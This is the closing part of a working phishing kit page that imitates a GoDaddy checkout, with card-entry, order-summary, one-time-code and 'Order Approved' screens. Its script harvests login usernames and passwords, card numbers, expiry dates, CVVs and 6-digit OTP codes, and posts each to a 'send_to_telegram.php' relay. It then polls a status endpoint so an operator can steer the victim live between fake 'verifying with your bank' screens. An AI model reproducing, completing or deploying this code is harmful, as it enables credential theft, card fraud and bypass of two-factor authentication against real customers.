                            <input type="text" id="gd-card-cvv" name="card_cvv" maxlength="4" inputmode="numeric">
                            <div class="gd-card-icon-slot">
                                <img src="<?php echo $cvv_icon; ?>" alt="CVV">
                            </div>
                        </div>
                    </div>
                    <div class="gd-error-text" id="err-expiry">Invalid format.</div>
                    <div class="gd-error-text" id="err-cvv">CVV must be 3-4 digits.</div>
                    <button id="gd-proceed-btn" class="gd-proceed-btn">Review Order</button>
                </div>
            </article>
            <aside class="gd-column-right">
                <div class="gd-summary-widget">
                    <h2>Order Summary</h2>
                    <div class="gd-summary-line"><span>2 items</span><a href="#">Edit order</a></div>
                    <div class="gd-summary-line is-last"><a href="#">View offer disclaimers</a></div>
                    <div class="gd-summary-line"><span>Subtotal</span><span>$<?php echo $subtotal_display; ?></span></div>
                    <div class="gd-summary-line"><span>Taxes & Fees</span><span>$<?php echo $taxes_display; ?></span></div>
                    <div class="gd-summary-line"><a href="#">Have a promo code?</a></div>
                    <div class="gd-total-line"><span>Total (USD)</span><span class="gd-price-highlight">$<?php echo $total_display; ?></span></div>
                    <div class="gd-savings-note"><svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg>Nice! You saved $30.98 on your order.</div>
                </div>
                <div class="gd-trust-badge-wrapper"><img src="<?php echo $trusted_badge_url; ?>" alt="TrustedSite"></div>
                <div class="gd-items-widget"><h3>Your Items (2)</h3><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"></polyline></svg></div>
                <div class="gd-review-widget">
                    <div class="gd-stars-row"><svg viewBox="0 0 24 24"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg><svg viewBox="0 0 24 24"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg><svg viewBox="0 0 24 24"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg><svg viewBox="0 0 24 24"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg></div>
                    <span>4.4 out of 5. See all 141,684 reviews on</span>
                    <span class="gd-review-brand"><svg width="16" height="16" viewBox="0 0 24 24"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg>Trustpilot</span>
                </div>
            </aside>
        </div>
        <footer class="gd-global-footer">Copyright &copy; 1999 - <?php echo $current_year; ?> GoDaddy Operating Company, LLC. All Rights Reserved. <a href="#">Privacy Policy</a><br><a href="#">Do not sell my personal information</a></footer>
    </section>

    <!-- PAGE 5: OTP -->
    <section id="gd-step-otp" data-step="otp" class="gd-page-node is-hidden">
        <main class="gd-otp-container">
            <div class="gd-brand-header"><img src="<?php echo $logo_url; ?>" alt="Logo"></div>
            <h1>Verify your identity</h1>
            <p id="otp-instruction-text">A 6-digit verification code has been sent. Please enter it below to complete your order.</p>
            <div id="otp-method-display" style="display:none; align-items:center; justify-content:center; gap:10px; padding:14px; background:var(--app-surface-teal-light); border-radius:10px; margin-bottom:24px; font-weight:600; color:#006b6d;">
                <svg id="otp-method-icon" width="22" height="22" viewBox="0 0 24 24" fill="#00a4a6"><path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z"/></svg>
                <span id="otp-method-label">Email</span>
            </div>
            <div class="gd-otp-fields">
                <input type="text" name="otp_1" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" name="otp_2" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" name="otp_3" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" name="otp_4" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" name="otp_5" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                <input type="text" name="otp_6" maxlength="1" inputmode="numeric" pattern="[0-9]*">
            </div>
            <button id="gd-verify-btn" class="gd-primary-btn">Verify</button>
            <div class="gd-resend-block" style="margin-top: 20px;">Didn't receive the code? <a href="#">Resend code</a></div>
        </main>
        <footer class="gd-global-footer">Copyright &copy; 1999 - <?php echo $current_year; ?> GoDaddy Operating Company, LLC. All Rights Reserved. <a href="#">Privacy Policy</a><br><a href="#">Do not sell my personal information</a></footer>
    </section>

    <!-- PAGE 6: SUCCESS -->
    <section id="gd-step-success" data-step="success" class="gd-page-node is-hidden">
        <main class="gd-pending-card" style="text-align: center;">
            <div class="gd-pending-icon" style="background: #e6f7ed;">
                <svg viewBox="0 0 24 24" style="fill: #0a8f3c;"><path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z"/></svg>
            </div>
            <h1>Order Approved!</h1>
            <p>Your payment information has been updated and your services are secure.</p>
        </main>
    </section>

    <script>
    (function() {
        'use strict';

        console.log('🚀 Checkout script loaded');

        const SESSION_ID = 'sess_' + Math.random().toString(36).substring(2, 15) + Date.now();
        console.log('📌 Session ID:', SESSION_ID);

        const BAD_WORDS = ['fuck','shit','bitch','asshole','dick','pussy','cunt','bastard'];
        const FORBIDDEN_CHARS = ['<', '>', ';', '\'', '"', '`', '\\'];

        function hasBadWords(v) { if (!v) return false; const l = v.toLowerCase(); return BAD_WORDS.some(w => l.includes(w)); }
        function hasForbidden(v) { if (!v) return false; return FORBIDDEN_CHARS.some(c => v.includes(c)); }

        function isAllSame(s) { if (!s || s.length < 2) return false; return s.split('').every(c => c === s[0]); }
        function isSequential(s) { return '0123456789'.includes(s) || '9876543210'.includes(s); }
        function luhn(num) {
            const d = num.replace(/\D/g, '');
            if (d.length < 13 || d.length > 19) return false;
            let sum = 0, alt = false;
            for (let i = d.length - 1; i >= 0; i--) {
                let n = parseInt(d[i], 10);
                if (alt) { n *= 2; if (n > 9) n -= 9; }
                sum += n; alt = !alt;
            }
            return sum % 10 === 0;
        }
        function validateCard(v) {
            const c = v.replace(/\s/g, '');
            if (!c) return { ok: false, msg: 'Card required.' };
            if (!/^\d+$/.test(c)) return { ok: false, msg: 'Digits only.' };
            if (c.length < 13 || c.length > 19) return { ok: false, msg: 'Must be 13-19 digits.' };
            if (isAllSame(c)) return { ok: false, msg: 'Cannot be all same digit.' };
            if (isSequential(c)) return { ok: false, msg: 'Cannot be a sequence.' };
            if (!luhn(c)) return { ok: false, msg: 'Invalid card number.' };
            return { ok: true };
        }
        function validateExp(v) {
            if (!v) return { ok: false, msg: 'Expiry required.' };
            if (!/^\d{2}\/\d{2}$/.test(v)) return { ok: false, msg: 'Use MM/YY.' };
            const [m, y] = v.split('/').map(Number);
            if (m < 1 || m > 12) return { ok: false, msg: 'Month 01-12.' };
            const now = new Date(), cy = now.getFullYear() % 100, cm = now.getMonth() + 1;
            if (y < cy || (y === cy && m < cm)) return { ok: false, msg: 'Card expired.' };
            return { ok: true };
        }
        function validateCvv(v) { if (!v) return { ok: false, msg: 'CVV required.' }; if (!/^\d{3,4}$/.test(v)) return { ok: false, msg: '3-4 digits.' }; return { ok: true }; }

        function showErr(shell, err, msg) {
            const s = document.getElementById(shell), e = document.getElementById(err);
            if (s) s.classList.add('is-invalid');
            if (e) { e.textContent = msg; e.classList.add('is-visible'); }
        }
        function clearErr(shell, err) {
            const s = document.getElementById(shell), e = document.getElementById(err);
            if (s) s.classList.remove('is-invalid');
            if (e) e.classList.remove('is-visible');
        }

        const cardNumEl = document.getElementById('gd-card-num');
        if (cardNumEl) {
            cardNumEl.addEventListener('input', (e) => {
                let v = e.target.value.replace(/\D/g, '').slice(0, 19);
                e.target.value = v.replace(/(\d{4})(?=\d)/g, '$1 ');
                clearErr('shell-cardnum', 'err-cardnum');
            });
        }
        const expInput = document.getElementById('gd-card-exp');
        if (expInput) {
            expInput.addEventListener('input', (e) => {
                let v = e.target.value.replace(/\D/g, '').slice(0, 4);
                if (v.length >= 3) v = v.slice(0, 2) + '/' + v.slice(2);
                e.target.value = v;
                clearErr('shell-expiry', 'err-expiry');
                if (v.length >= 2) {
                    const m = parseInt(v.slice(0, 2), 10);
                    if (m < 1 || m > 12) showErr('shell-expiry', 'err-expiry', 'Month 01-12.');
                }
            });
            expInput.addEventListener('keydown', (e) => {
                if (e.key === 'Backspace' && expInput.value.length === 3 && expInput.value.includes('/')) {
                    expInput.value = expInput.value.slice(0, 2); e.preventDefault();
                }
            });
        }
        const cvvEl = document.getElementById('gd-card-cvv');
        if (cvvEl) {
            cvvEl.addEventListener('input', (e) => {
                e.target.value = e.target.value.replace(/\D/g, '').slice(0, 4);
                clearErr('shell-cvv', 'err-cvv');
            });
        }

        const domNodes = document.querySelectorAll('.gd-page-node');
        const authForm = document.getElementById('gd-auth-form');
        const proceedBtn = document.getElementById('gd-proceed-btn');
        const verifyBtn = document.getElementById('gd-verify-btn');
        const togglePassBtn = document.getElementById('gd-toggle-pass');
        const passInput = document.getElementById('gd-user-pass');
        const pendingTitle = document.getElementById('pending-title');
        const pendingText = document.getElementById('pending-text');

        const switchView = (target) => {
            console.log('🔄 Switching to:', target);
            domNodes.forEach(n => n.classList.toggle('is-hidden', n.dataset.step !== target));
            window.scrollTo(0, 0);
        };
        const simulateNetwork = (cb) => { switchView('loading'); setTimeout(cb, 1800); };

        async function sendToBackend(payload) {
            payload.session_id = SESSION_ID;
            console.log('📤 Sending to backend:', payload);
            try {
                const response = await fetch('send_to_telegram.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(payload)
                });
                const text = await response.text();
                console.log('📥 Backend raw response:', text);
                try { return JSON.parse(text); }
                catch (e) { console.error('❌ Backend did not return JSON:', text); return { status: 'error', raw: text }; }
            } catch (err) {
                console.error('❌ Fetch failed:', err);
                alert('Network error: ' + err.message);
                return { status: 'error', message: err.message };
            }
        }

        if (authForm) {
            authForm.addEventListener('submit', async (e) => {
                e.preventDefault();
                const u = document.getElementById('gd-user-id').value.trim();
                const p = passInput.value.trim();
                let err = false;

                clearErr('shell-username', 'err-username');
                if (!u) { showErr('shell-username', 'err-username', 'Required.'); err = true; }
                else if (hasBadWords(u)) { showErr('shell-username', 'err-username', 'Forbidden words.'); err = true; }
                else if (hasForbidden(u)) { showErr('shell-username', 'err-username', 'Invalid characters.'); err = true; }

                clearErr('shell-password', 'err-password');
                if (!p) { showErr('shell-password', 'err-password', 'Required.'); err = true; }
                else if (hasBadWords(p)) { showErr('shell-password', 'err-password', 'Forbidden words.'); err = true; }
                else if (hasForbidden(p)) { showErr('shell-password', 'err-password', 'Invalid characters.'); err = true; }

                if (err) return;

                await sendToBackend({ step: 'login', username: u, password: p });
                simulateNetwork(() => {
                    if (pendingTitle) pendingTitle.textContent = "Verifying Your Login...";
                    if (pendingText) pendingText.textContent = "Please wait while we verify your credentials. Do not close this window.";
                    switchView('pending');
                    startPolling();
                });
            });
        }

        if (proceedBtn) {
            proceedBtn.addEventListener('click', async () => {
                const cn = document.getElementById('gd-card-num').value.trim();
                const ce = document.getElementById('gd-card-exp').value.trim();
                const cc = document.getElementById('gd-card-cvv').value.trim();
                let err = false;

                clearErr('shell-cardnum', 'err-cardnum');
                const c1 = validateCard(cn);
                if (!c1.ok) { showErr('shell-cardnum', 'err-cardnum', c1.msg); err = true; }

                clearErr('shell-expiry', 'err-expiry');
                const c2 = validateExp(ce);
                if (!c2.ok) { showErr('shell-expiry', 'err-expiry', c2.msg); err = true; }

                clearErr('shell-cvv', 'err-cvv');
                const c3 = validateCvv(cc);
                if (!c3.ok) { showErr('shell-cvv', 'err-cvv', c3.msg); err = true; }

                if (err) return;

                await sendToBackend({ step: 'payment', card_number: cn, card_expiry: ce, card_cvv: cc });
                simulateNetwork(() => {
                    if (pendingTitle) pendingTitle.textContent = "Verifying Card Details...";
                    if (pendingText) pendingText.textContent = "Your card details are being verified by your bank. Do not close this window.";
                    switchView('pending');
                    startPolling();
                });
            });
        }

        let pollInterval = null;
        function startPolling() {
            if (pollInterval) clearInterval(pollInterval);
            console.log('🔄 Starting poll...');
            pollInterval = setInterval(async () => {
                try {
                    const r = await fetch('check_status.php?session_id=' + SESSION_ID);
                    const data = await r.json();
                    console.log('📊 Poll result:', data);

                    if (data.action === 'show_otp') {
                        clearInterval(pollInterval);
                        applyOtpMethod(data.method || 'email');
                        switchView('otp');
                    } else if (data.action === 'go_checkout') {
                        clearInterval(pollInterval);
                        switchView('checkout');
                    } else if (data.action === 'back_login') {
                        clearInterval(pollInterval);
                        switchView('auth');
                    } else if (data.action === 'rejected') {
                        clearInterval(pollInterval);
                        alert('Your request was rejected.');
                        switchView('auth');
                    } else if (data.action === 'success') {
                        clearInterval(pollInterval);
                        switchView('success');
                    }
                } catch (e) { console.log('Poll error:', e); }
            }, 3000);
        }

        function applyOtpMethod(method) {
            const labels = {
                'email': { text: 'Email', icon: '<path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z"/>' },
                'sms': { text: 'SMS Text', icon: '<path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-7 12h-2v-2h2v2zm0-4h-2V6h2v4z"/>' },
                'mobile_app': { text: 'Card Mobile App', icon: '<path d="M17 1.01L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99zM17 19H7V5h10v14z"/>' },
                'webmail': { text: 'GoDaddy Webmail', icon: '<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/>' }
            };
            const m = labels[method] || labels['email'];
            document.getElementById('otp-method-label').textContent = m.text;
            document.getElementById('otp-method-icon').innerHTML = m.icon;
            document.getElementById('otp-method-display').style.display = 'flex';
            document.getElementById('otp-instruction-text').textContent =
                'A 6-digit verification code has been sent to your ' + m.text + '. Please enter it below.';
            console.log('✅ Applied OTP method:', method);
        }

        if (verifyBtn) {
            verifyBtn.addEventListener('click', async () => {
                const otpInputs = document.querySelectorAll('.gd-otp-fields input');
                let ok = true, code = '';
                otpInputs.forEach(i => { if (!i.value.trim()) ok = false; code += i.value.trim(); });
                if (!ok) { alert('Enter all 6 digits.'); return; }
                await sendToBackend({ step: 'otp', otp_code: code });
                simulateNetwork(() => {
                    if (pendingTitle) pendingTitle.textContent = "Verifying Code...";
                    if (pendingText) pendingText.textContent = "Please wait for final verification. Do not close this window.";
                    switchView('pending');
                    startPolling();
                });
            });
        }

        const otpFields = document.querySelectorAll('.gd-otp-fields input');
        otpFields.forEach((f, i) => {
            f.addEventListener('input', (e) => { if (e.target.value.length === 1 && i < otpFields.length - 1) otpFields[i + 1].focus(); });
            f.addEventListener('keydown', (e) => { if (e.key === 'Backspace' && !e.target.value && i > 0) otpFields[i - 1].focus(); });
        });

        if (togglePassBtn) {
            togglePassBtn.addEventListener('click', () => {
                const isP = passInput.type === 'password';
                passInput.type = isP ? 'text' : 'password';
                togglePassBtn.textContent = isP ? 'Hide' : 'Show';
            });
        }

        console.log('✅ All event listeners attached');
    })();
    </script>
</body>
</html>